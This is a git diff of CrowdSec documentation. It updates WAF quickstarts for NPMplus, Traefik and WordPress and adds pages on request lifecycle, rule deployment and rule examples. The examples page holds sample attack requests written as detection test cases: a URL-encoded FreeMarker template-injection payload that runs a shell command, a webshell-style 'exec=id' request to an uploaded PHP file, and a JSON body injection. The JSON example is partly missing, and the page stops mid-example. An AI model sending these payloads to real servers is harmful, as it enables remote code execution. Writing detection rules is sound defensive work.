+ +### Install AppSec Collections + +After the containers have started, install the required AppSec collections inside the CrowdSec container: + +```bash +docker exec crowdsec cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +This command installs the following items: +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malicious requests to be matched and stopped +- The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) links together a set of rules to provide a coherent set +- The CrowdSec Parser and CrowdSec Scenario(s) are used to detect and remediate persistent attacks + +After installing the collections, restart the CrowdSec container to load the new configuration: + +```bash +docker restart crowdsec +``` + +:::warning Important +After starting NPMplus, wait about a minute, then check the logs to retrieve the initial admin password: + +```bash +docker logs npmplus +``` + +**Save this password** - you'll need it to log into the NPMplus admin interface. +::: + +## Remediation Component Setup + +Now we need to configure NPMplus to function as a Remediation Component for the Security Engine and enable the AppSec Component. + +### Generate API Key + +Generate an API key for NPMplus: + +```bash +docker exec crowdsec cscli bouncers add npmplus -o raw +``` + +Copy the output API key - you'll need it in the next step. + +### Configure NPMplus + +Edit the NPMplus CrowdSec configuration file: + +```bash +# The file location may vary depending on your Docker setup +# Typically it's at: /opt/npmplus/crowdsec/crowdsec.conf +``` + +In this file, you need to: + +1. Set `ENABLED=true` to enable the CrowdSec integration +2. Set `API_KEY` to the key you generated in the previous step + +The configuration file should look similar to: + +```ini +ENABLED=true +API_KEY=your-api-key-here +``` + +### Restart NPMplus + +Restart the NPMplus container to apply the changes: + +```bash +docker restart npmplus +``` + +### Verify Connection + +Check the Docker logs to confirm NPMplus is connected to CrowdSec: + +```bash +docker logs npmplus +``` + +You should see lines mentioning that NPMplus is connected to CrowdSec. + +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming the web server is accessible. Please adjust your testing accordingly. +::: + +If you try to access `http://localhost/.env` (or your server's IP address) from a browser, your request will be blocked, resulting in the display of the following HTML page: + +![appsec-denied](/img/appsec_denied.png) + +We can also look at the metrics from `cscli metrics show appsec` - it will display: +- the number of requests processed by the AppSec Component +- Individual rule matches + +
+ Example Output + +```bash title="docker exec crowdsec cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 0.0.0.0:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '0.0.0.0:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼─────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +You can test and investigate further with [Stack Health-Check](/u/getting_started/health_check) and [Appsec Troubleshooting guide](/appsec/troubleshooting.md) + +
+ +### Explanation + +What happened in the test that we just did is: + +1. We did a request (`localhost/.env`) to our web server +2. Thanks to the NPMplus Remediation Component configuration, the request was forwarded to `http://crowdsec:7422` (or the appropriate Docker network address) +3. Our AppSec Component, listening on `0.0.0.0:7422` analyzed the request +4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) +5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked +6. The web server then presented us with the default "request blocked" page. + +## Integration with the Console + +If you haven't yet, follow the guide about [how to enroll your Security Engine in the Console](/u/getting_started/post_installation/console). + +Once done, all your alerts, including the ones generated by the AppSec Component, appear in the Console: + +![appsec-console](/img/appsec_console.png) + +## Next steps + +You are now running the AppSec Component on your CrowdSec Security Engine with NPMplus, congrats! + +:::info +You can now log into the NPMplus admin interface at `https://:81` using the email address you configured (`ACME_EMAIL`) and the password you saved earlier. You should be prompted to change these credentials on first login. +::: + +As the next steps, you can: + - Look at [WAF Deployment Strategies](/appsec/advanced_deployments.mdx) to discover how to gradually improve your WAF security. + - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx index 8eee2336b..9b7aee925 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/traefik.mdx @@ -11,14 +11,16 @@ import TabItem from '@theme/TabItem'; ## Objectives -This quickstart walks you through pairing the CrowdSec [AppSec -Component](/appsec/intro.md#introduction) with the Traefik reverse proxy across -three deployment models: a single Docker container, a Docker Compose stack, and -the official Helm chart on Kubernetes. You'll install the required AppSec -collections, configure the acquisition endpoint that exposes the inspection -service, and wire the Traefik plugin so requests are evaluated before reaching -your applications. We'll finish by pointing you to the Stack health check so you -can validate the bouncer and AppSec stack end to end. +The goal of this quickstart is to set up the [AppSec +Component](/appsec/intro.md#introduction) to safeguard web applications running +behind the [Traefik](https://doc.traefik.io/traefik/) reverse proxy. We'll deploy a [set of +rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) +designed to block [well-known +attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) +and [currently exploited +vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). +Additionally, we'll show how to monitor these alerts through the +[Console](https://app.crowdsec.net/). ## Prerequisites @@ -27,7 +29,7 @@ can validate the bouncer and AppSec stack end to end. [Introduction](/appsec/intro.md#introduction) for a better understanding. 2. It's assumed that you have already installed: - - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a Acquisition. + - **CrowdSec [Security Engine](/intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is enabled via the [AppSec acquisition datasource](/log_processor/data_sources/appsec.md). - Traefik Plugin **[Remediation Component](/u/bouncers/intro)**: Thanks to [maxlerebourg](https://github.com/maxlerebourg) and team, there is a [Traefik Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin) that blocks requests directly in Traefik. :::info @@ -46,6 +48,10 @@ Plugin](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bou documentation. ::: +:::tip Already did the base setup? +If you already completed the [General Setup](general.mdx) (collections + acquisition), skip to [Remediation Component Setup](#remediation-component-setup). +::: + ## AppSec Component Setup ### Collection installation @@ -72,7 +78,7 @@ vulnerabilities do not exist (yet). :::info -You can always view the content of a [collection on the Hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). +You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) ::: @@ -108,7 +114,7 @@ services: Please note the spaces between the collection names (hence why the quotes are needed). ::: -This compose configuration file will add some needed hub configuration items. +This compose configuration file adds the required Hub configuration items. @@ -132,7 +138,7 @@ Now you can apply it with: helm upgrade crowdsec crowdsec/crowdsec -n crowdsec --create-namespace -f ./crowdsec-values.yaml ``` -This `values.yaml` modification will add some needed hub configuration items. +This `values.yaml` modification adds the required Hub configuration items. @@ -141,7 +147,7 @@ This `values.yaml` modification will add some needed hub configuration items. Those needed hub configuration items are: - The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of - malevolent requests to be matched and stopped. + malicious requests to be matched and stopped. - The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) links together a set of rules to provide a coherent set. @@ -153,14 +159,12 @@ Those needed hub configuration items are: Scenario(s) are used to detect and remediate persistent attacks. -Once you have updated your compose or installed via the command line, will we -need to restart the container. However, before we do that, we need to setup the +Once you have updated Compose or installed via the command line, restart the container. Before you do, set up the acquisition for the AppSec Component. ### Setup the Acquisition -You now need to setup the acquisition for AppSec. The way it's done highly -depends on how you run CrowdSec. +You now need to set up the acquisition for AppSec. The steps depend on how you run CrowdSec. For the complete acquisition reference, see the [AppSec datasource](/log_processor/data_sources/appsec.md). -In the directory where you store CrowdSec configuration files (for example, -`./crowdsec/acquis.d`, if you’re following the [recommended directory -structure](/u/getting_started/installation/docker#compose), create a file named -appsec.yaml and mount it into the container. +In the directory where you persist configuration files, create an appsec.yaml file and mount it into the container. + +**Steps** + +1. Change to the directory where you ran the docker compose (or docker run) command. +2. Create a file named appsec.yaml in this directory. +3. Add the following content to the `appsec.yaml`: ```yaml title="appsec.yaml" -appsec_config: crowdsecurity/appsec-default +appsec_configs: + - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 source: appsec ``` -Since CrowdSec runs inside a container, make sure to set listen_addr to 0.0.0.0 -(instead of 127.0.0.1) so it listens on the container’s network interface. +Because CrowdSec runs in a container, set listen_addr to 0.0.0.0 (not 127.0.0.1) so it listens on the container’s network interface. -Then, update your Docker Compose service to mount the file: +Mount the file in your Compose service: ``` services: crowdsec: volumes: - - ./crowdsec/acquis.yaml:/etc/crowdsec/acquis.yaml - - logs:/var/log/nginx - - crowdsec-db:/var/lib/crowdsec/data/ - - crowdsec-config:/etc/crowdsec/ - - ./crowdsec/acquis.d/appsec.yaml:/etc/crowdsec/acquis.d/appsec.yaml + - /path/to/original:/etc/crowdsec # or a named volume + - ./appsec.yaml:/etc/crowdsec/acquis.d/appsec.yaml ``` Once you have updated the compose file to include the volume mount and the updated environment variable, you can restart the container. @@ -260,7 +260,8 @@ We have to add ```yaml title="values.yaml" appsec: acquisitions: - - appsec_config: crowdsecurity/appsec-default + - appsec_configs: + - crowdsecurity/appsec-default labels: type: appsec listen_addr: 0.0.0.0:7422 @@ -359,6 +360,11 @@ spec: crowdsecLapiHost: crowdsec-service.crowdsec.svc.cluster.local:8080 crowdsecLapiKey: htttTimeoutSeconds: 60 + forwardedheaderstrustedips: + - 10.0.0.0/8 + - 192.168.0.0/16 + - 134.209.137.94 + - 2a03:b0c0:2:f0::f557:a001 crowdsecAppsecEnabled: false crowdsecAppsecHost: crowdsec:7422 crowdsecAppsecFailureBlock: true @@ -366,9 +372,8 @@ spec: ``` You can still add some route configuration through -[IngressRoute](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/crd/http/ingressroute) +[IngressRoute](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/crd/http/ingressroute/) and attach the middleware to those routes. - @@ -376,51 +381,7 @@ For more comprehensive documentation on the Traefik Plugin configuration, please refer to the [official documentation](https://plugins.traefik.io/plugins/6335346ca4caa9ddeffda116/crowdsec-bouncer-traefik-plugin). -
- The traefik configuration for testing this quickstart guide has been done with the following values.yaml -```yaml title="values.yaml" -deployment: - kind: DaemonSet # run on each node so a sidecar crowdsec can tail Traefik logs - -service: - type: LoadBalancer # expose Traefik entrypoints through your cloud LB - annotations: - service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: "true" # forward client IPs via DigitalOcean proxy protocol - spec: - externalTrafficPolicy: Local # keep original source IPs for CrowdSec decisions - -# Make Traefik actually write a file that can be parsed -logs: - access: - enabled: true # ensure access logs are produced - format: json # structured logs expected by the bouncer parser - fields: - defaultMode: keep - names: - ServiceName: keep # keep service name for troubleshooting - general: - level: INFO # avoid noisy debug output in production - format: json # align general logs with access log format - -# Proxy Protocol needs “enabled”, not only trustedIPs -additionalArguments: - - --accesslog=true # double-check logging stays on even if values drift - - --accesslog.format=json # enforce JSON formatting at the CLI level - - --entrypoints.web.proxyProtocol=true # enable Proxy Protocol on the HTTP entrypoint - - --entrypoints.websecure.proxyProtocol=true # enable Proxy Protocol on the HTTPS entrypoint - - --entrypoints.web.proxyProtocol.trustedIPs=10.0.0.0/8,192.168.0.0/16 # trust proxy headers from your internal ranges - - --entrypoints.websecure.proxyProtocol.trustedIPs=10.0.0.0/8,192.168.0.0/16 # same trust list for HTTPS - - --providers.kubernetesingress # watch standard Ingress resources - - --providers.kubernetescrd # watch Traefik CRD resources - -# Traefik middleware configuration -experimental: - plugins: - crowdsec-bouncer-traefik-plugin: - moduleName: "github.com/maxlerebourg/crowdsec-bouncer-traefik-plugin" - version: "v1.4.5" # pin plugin release for deterministic behaviour -``` -
+We can't cover all the possible configurations for Traefik in this guide, so please refer to the [official documentation](https://doc.traefik.io/traefik/) for more information. ### Directives @@ -446,11 +407,55 @@ If the AppSec Component returns `500` status code should the request be blocked. If the AppSec Component is unreachable should the request be blocked. -## Validate the stack +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case. +::: + +If you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: + +![appsec-denied](/img/appsec_denied.png) + +We can also look at the metrics from `cscli metrics show appsec` it will display: + - the number of requests processed by the AppSec Component + - Individual rule matches + +
+ Example Output + +```bash title="sudo cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` + +You can test and investigate further with [Stack +Health-Check](/u/getting_started/health_check) and [Appsec Troubleshooting +guide](/appsec/troubleshooting.md) + +
+ +### Explanation + +What happened in the test that we just did is: -Follow the [Stack health check](/u/getting_started/health_check) to confirm the -CrowdSec engine, AppSec Component, and Traefik bouncer are working together as -expected. + 1. We did a request (`localhost/.env`) to our local webserver + 2. Thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422` + 3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request + 4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access) + 5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to the Remediation Component, indicating that the request must be blocked + 6. The web server then presented us with the default "request blocked" page. ## Integration with the Console @@ -462,8 +467,9 @@ Once done, all your alerts, including the ones generated by the AppSec Component ## Next steps -You are now running the AppSec Component on your Crowdsec Security Engine, congrats! +You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: + - Look at [WAF Deployment Strategies](/appsec/advanced_deployments.mdx) to discover how to gradually improve your WAF security. - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute - - Learn more about AppSec’s advanced capabilities in [Advanced WAF Deployments](/docs/next/appsec/advanced_deployments/) + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx index d4a7c66cd..2c9f76874 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/wordpress.mdx @@ -23,11 +23,14 @@ Additionally, we'll show how to monitor these alerts through the [Console](https 1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. 2. It's assumed that you have already installed: - - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). + - **CrowdSec [Security Engine](/intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). - **WordPress [Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [WordPress bouncer guide](/u/bouncers/wordpress). The CrowdSec WordPress plugin enables you to protect your WordPress site against malicious traffic using CrowdSec's advanced threat detection and blocklist capabilities. This component intercepts HTTP requests at the WordPress level and forwards them to the AppSec Component for analysis and action. +:::tip Already did the base setup? +If you already completed the [General Setup](general.mdx) (collections + acquisition), skip to [Remediation Component Setup](#remediation-component-setup). +::: ## AppSec Component Setup @@ -52,31 +55,34 @@ sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecuri Executing this command will install the following items: -- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malicious requests to be matched and stopped - The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) links together a set of rules to provide a coherent set - The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders ### Setup the Acquisition -Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our WordPress site. This configuration allows our WordPress site to send requests to the AppSec Component for evaluation and decision-making. +Having installed the required components, it's time to configure the CrowdSec acquisition datasource for the AppSec Component ([AppSec datasource](/log_processor/data_sources/appsec.md)). This configuration allows WordPress to send requests to the AppSec Component for evaluation and decision-making. Steps: - 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine) - ```bash - mkdir -p /etc/crowdsec/acquis.d/ - ``` - 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content: - ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" - appsec_config: crowdsecurity/appsec-default - labels: - type: appsec - listen_addr: 127.0.0.1:7422 - source: appsec - ``` + +1. Create the acquisition directory (if it doesn't exist on your machine): + ```bash + sudo mkdir -p /etc/crowdsec/acquis.d/ + ``` + +2. Create `/etc/crowdsec/acquis.d/appsec.yaml`: + ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" + appsec_configs: + - crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 127.0.0.1:7422 + source: appsec + ``` The two important directives in this configuration file are: - - `appsec_config` is the name of the [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) that was included in the Collection we just installed. + - `appsec_configs` is the list of [*AppSec Configurations*](/appsec/configuration.md#appsec-configuration-files) that was included in the Collection we just installed. - the `listen_addr` is the IP and port the AppSec Component will listen to. :::warning @@ -311,8 +317,9 @@ The WordPress bouncer has some inherent limitations you should be aware of: ## Next steps -You are now running the AppSec Component on your WordPress site with CrowdSec Security Engine, congrats! +You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: -- [Explore the Hub](https://hub.crowdsec.net) to find more rules for your use case + - Look at [WAF Deployment Strategies](/appsec/advanced_deployments.mdx) to discover how to gradually improve your WAF security. - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/request-lifecycle.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/request-lifecycle.md new file mode 100644 index 000000000..713900d06 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/request-lifecycle.md @@ -0,0 +1,49 @@ +--- +id: request_lifecycle +title: Request Lifecycle +sidebar_position: 5 +--- + +# **CrowdSec AppSec Request Lifecycle & Detection Pipeline** + +The CrowdSec AppSec architecture relies on several steps, involving **stateless inspection** (immediate pattern matching) and **stateful analysis** (long-term behavioral tracking). + +This document outlines the journey of an HTTP request through the engine's hooks, rulesets, and scenario-based alerting. + +![waf-req-lifecycle](/img/waf_request_lifecycle.png) + + +## **Phase I: In-Band Processing (Synchronous)** + +The In-Band phase is synchronous. The Remediation Component (e.g., Nginx, Traefik, or Ingress) pauses the request to wait for a verdict from the AppSec engine. + +* **pre\_eval Hook:** The initial entry point. This hook executes logic before any rules are run. It is commonly used to whitelist trusted IPs or to disable specific rules for certain URIs to mitigate false positives. +* **In-Band Rules:** The engine evaluates the request against rules defined in inband\_rules. These are typically high-confidence signatures used for "Virtual Patching" against known exploits (e.g., Log4Shell, SQL Injection). +* **on\_match Hook:** Triggered only if a rule matches. It allows for logic overrides, such as logging the attempt without blocking, or setting specific remediation types. +* **post\_eval Hook:** Executes regardless of the outcome. It is primarily used for technical logging or dumping request metadata for debugging via DumpRequest(). +* **Immediate Remediation:** If a match is confirmed, the engine returns a blocking status (e.g., 403 Forbidden or Captcha) and an **Immediate Alert** is sent to the Local API (LAPI). + +## **Phase II: Out-of-Band Processing (Asynchronous)** + +Once the In-Band phase completes, the request is passed to the backend application. Simultaneously, a copy of the request context is processed asynchronously to avoid adding latency to the user experience. + +* **Out-of-Band (OOB) Rules:** These rulesets, such as the full **OWASP Core Rule Set (CRS)**, inspect the request for broader or lower-confidence indicators of malicious intent. +* **Internal Event Generation:** Unlike the In-Band phase, an OOB match does not result in an immediate block. Instead, it generates an **Internal Event** (type appsec-info) containing enriched metadata about the suspicious activity. + +## **Phase III: Scenario Evaluation (Behavioral Analysis)** + +The internal events generated in Phase I and II flow into the standard CrowdSec Parser and Scenario pipeline. This stage transforms individual "signals" into actionable security "intelligence." + +* **The Leaky Bucket Logic:** Scenarios employ a "leaky bucket" algorithm to aggregate events. While a single OOB rule match might be a false positive, a Scenario can be configured to trigger only if an IP exceeds a specific threshold (e.g., **X matches within Y seconds**). +* **Behavioral Detection:** Scenarios allow the system to identify complex threats that stateless rules cannot see in isolation, such as: + * **Distributed Scans:** An IP probing multiple endpoints with varied payloads. + * **Aggressive Crawling:** Automated bots triggering several low-severity WAF rules across a session. +* **Final Alert & Decision:** When a Scenario’s threshold is met, it creates a **Final Alert** in the LAPI. This generates a **Decision** (e.g., a 4-hour IP ban) which is synchronized back to all Remediation Components, blocking the attacker at the network edge for all subsequent requests. + +**Summary of Component Roles** + +| Component | Nature | Goal | Execution | +| :---- | :---- | :---- | :---- | +| **In-Band Rules** | Stateless | Immediate protection (Virtual Patching) | Blocking | +| **Out-of-Band Rules** | Stateless | Deep inspection without user latency | Non-blocking | +| **Scenarios** | Stateful | Identifies intent and patterns (Behavioral) | Post-processing | diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_deploy.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_deploy.md new file mode 100644 index 000000000..f2aa80dd2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_deploy.md @@ -0,0 +1,128 @@ +--- +id: rules_deploy +title: Deployment +sidebar_position: 81 +--- + +# WAF Rules Deployment + +This walkthrough assumes you already wrote and validated a custom AppSec (WAF) rule. We will deploy a concrete example so you can mirror the exact commands on your host. + +## Example Rule We Will Deploy + +The example blocks any `GET` request whose `user_id` query argument contains non-numeric characters. While you iterate locally, keep it in a working directory as `./block-nonnumeric-user-id.yaml`: + +```yaml title="./block-nonnumeric-user-id.yaml" +name: custom/block-nonnumeric-user-id +description: Block GET requests with a non-numeric user_id parameter. +rules: + - and: + - zones: + - METHOD + match: + type: equals + value: GET + - zones: + - ARGS + variables: + - user_id + match: + type: regex + value: "[^0-9]" +labels: + type: exploit + service: http + confidence: 2 + spoofable: 0 + behavior: "http:exploit" + label: "Non numeric user id" +``` + +Once the rule behaves as expected, the remaining steps package it for CrowdSec, wire it into the acquisition pipeline, and test it end to end. + +## Step 1 — Stage the Rule File + +CrowdSec loads AppSec rules from `/etc/crowdsec/appsec-rules/`. Copy your YAML rule into that directory (create a `custom/` subfolder to keep things tidy if you manage several rules): + +```bash +sudo install -d -m 750 /etc/crowdsec/appsec-rules/custom +sudo install -m 640 ./block-nonnumeric-user-id.yaml \ + /etc/crowdsec/appsec-rules/custom/block-nonnumeric-user-id.yaml +``` + +Make sure the `name` inside the rule file matches the file name convention you plan to reference (in our example `custom/block-nonnumeric-user-id`). + +:::tip +If you run CrowdSec in a container, copy the file into the volume that is mounted at `/etc/crowdsec/appsec-rules/` inside the container. +::: + +## Step 2 — Create an AppSec Configuration + +An AppSec configuration lists which rules to load and how to handle matches. Create a new file under `/etc/crowdsec/appsec-configs/` that targets your custom rule: + +```yaml title="/etc/crowdsec/appsec-configs/custom-block-nonnumeric-user-id.yaml" +name: custom/block-nonnumeric-user-id +default_remediation: ban +inband_rules: + - custom/block-nonnumeric-user-id +# Add outofband_rules or hooks here if needed +``` + +Key points: +- `name` is how you will reference this configuration from the acquisition file and in logs. +- `inband_rules` (and/or `outofband_rules`) accept glob patterns, so you can load multiple rules with a single entry such as `custom/block-*`. +- During the reload step CrowdSec validates the syntax; if anything is off, the reload fails and the service logs the parsing error. + +## Step 3 — Reference the Configuration in the Acquisition File + +The AppSec acquisition file (`/etc/crowdsec/acquis.d/appsec.yaml`) controls which configurations are active for the WAF component. Add your configuration to the `appsec_configs` list. Order matters: later entries override conflicting defaults such as `default_remediation`. + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default + - custom/block-nonnumeric-user-id +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +If you only want to run your custom configuration, remove other entries and keep the list with a single item. + +## Step 4 — Reload CrowdSec and Validate the Load + +Apply the changes by reloading the CrowdSec service: + +```bash +sudo systemctl reload crowdsec +``` + +If your init system does not support reload, perform a restart instead. Then verify the rule and configuration are active: + +```bash +sudo cscli appsec-rules list | grep block-nonnumeric-user-id +sudo cscli appsec-configs list | grep block-nonnumeric-user-id +``` + +The rule should appear as `enabled`, and the configuration should show up in the list. CrowdSec logs confirm the configuration was loaded without errors. + +## Step 5 — Functional Test with `curl` + +Trigger the behaviour your rule is meant to catch to ensure it blocks as expected. For the example rule, send a request with a non-numeric `user_id` value: + +```bash +curl -i 'http://127.0.0.1/profile?user_id=abc123' +``` + +A successful block returns an HTTP status such as `403 Forbidden`, and CrowdSec logs a matching alert: + +```bash +sudo cscli alerts list -s custom/block-nonnumeric-user-id +``` + +If the request is not blocked, double-check that the rule `name` matches the pattern in your AppSec configuration, that the acquisition file lists your configuration, and that the CrowdSec service picked up the changes. + +## Next Steps + +- Add automated regression tests with `cscli hubtest` so future updates do not break the rule. +- Version-control your custom rule and configuration files to keep track of changes. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_examples.md b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_examples.md new file mode 100644 index 000000000..38c8ab05b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/rules_examples.md @@ -0,0 +1,783 @@ +--- +id: rules_examples +title: Examples +sidebar_position: 81 +--- + +# WAF Rules Examples + +This page showcases various WAF rule capabilities with real-world examples from the CrowdSec Hub. Each example includes the rule definition, a matching HTTP request from the test suite, and explanations of the key features demonstrated. + +## 1. Header Analysis - Missing User Agent Detection + +### Description + +Header inspection with count transform. Note that empty user agent-agent field or absent user-agent field is equivalent. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - METHOD + match: + type: regex + value: "^GET|POST|PUT|DELETE|PATCH$" + - zones: + - HEADERS + variables: + - "User-Agent" + transform: + - count + match: + type: equals + value: "0" +``` + +### HTTP Request Example + +```http +GET / HTTP/1.1 +Host: example.com +User-Agent: +``` + +### Key Features Demonstrated + +- **Header inspection** using HEADERS zone +- **Transform operations** with count() to check header existence +- **HTTP method filtering** with regex patterns +- **AND logic** combining multiple conditions + +## 2. Request Body Analysis - JSON Path Extraction + +### Description + +JSON path extraction with dot notation. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - METHOD + transform: + - uppercase + match: + type: equals + value: POST + - zones: + - URI + transform: + - lowercase + match: + type: contains + value: /rest/v1/guest-carts/1/estimate-shipping-methods + - zones: + - BODY_ARGS + variables: + - json.address.totalsCollector.collectorList.totalCollector.sourceData.data + transform: + - lowercase + match: + type: contains + value: "", + "dataIsURL": "true" + } + } + } + } + } +} +``` + +### Key Features Demonstrated + +- **Deep JSON path navigation** using dot notation +- **Request body parsing** with BODY_ARGS zone +- **Multiple transform operations** (uppercase, lowercase) +- **Complex AND conditions** across different zones + +## 3. Query Parameter Inspection - SSTI Detection + +### Description + +Multi-zone pattern matching (ARGS and RAW_BODY). + +### Rule Example + +```yaml +rules: + - and: + - zones: + - RAW_BODY + - ARGS + transform: + - lowercase + match: + type: contains + value: "freemarker.template.utility.execute" +``` + +### HTTP Request Example + +```http +GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1 +Host: example.com +``` + +### Key Features Demonstrated + +- **URL parameter parsing** with ARGS zone +- **Multiple zone matching** (RAW_BODY and ARGS) +- **String transformation** with lowercase normalization +- **Pattern-based detection** using contains match + +## 4. File Upload Detection - WordPress PHP Execution + +### Description + +URI regex matching with multiple transforms. + +### Rule Example + +```yaml +rules: + - and: + - zones: + - URI + transform: + - lowercase + - urldecode + match: + type: regex + value: '/wp-content/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)' +``` + +### HTTP Request Example + +```http +GET /wp-content/uploads/2024/10/test.php?exec=id HTTP/1.1 +Host: example.com +``` + +### Key Features Demonstrated + +- **URI path analysis** with regex pattern matching +- **Multiple transforms** (lowercase and URL decoding) +- **Complex regex patterns** for file extension detection +- **WordPress-specific protection** against upload directory exploitation + +## 5. HTTP Protocol Analysis - Form Data Validation + +### Description + +Form data analysis with variable targeting. + +### Rule Example + +```yaml +rules: + - and: + - 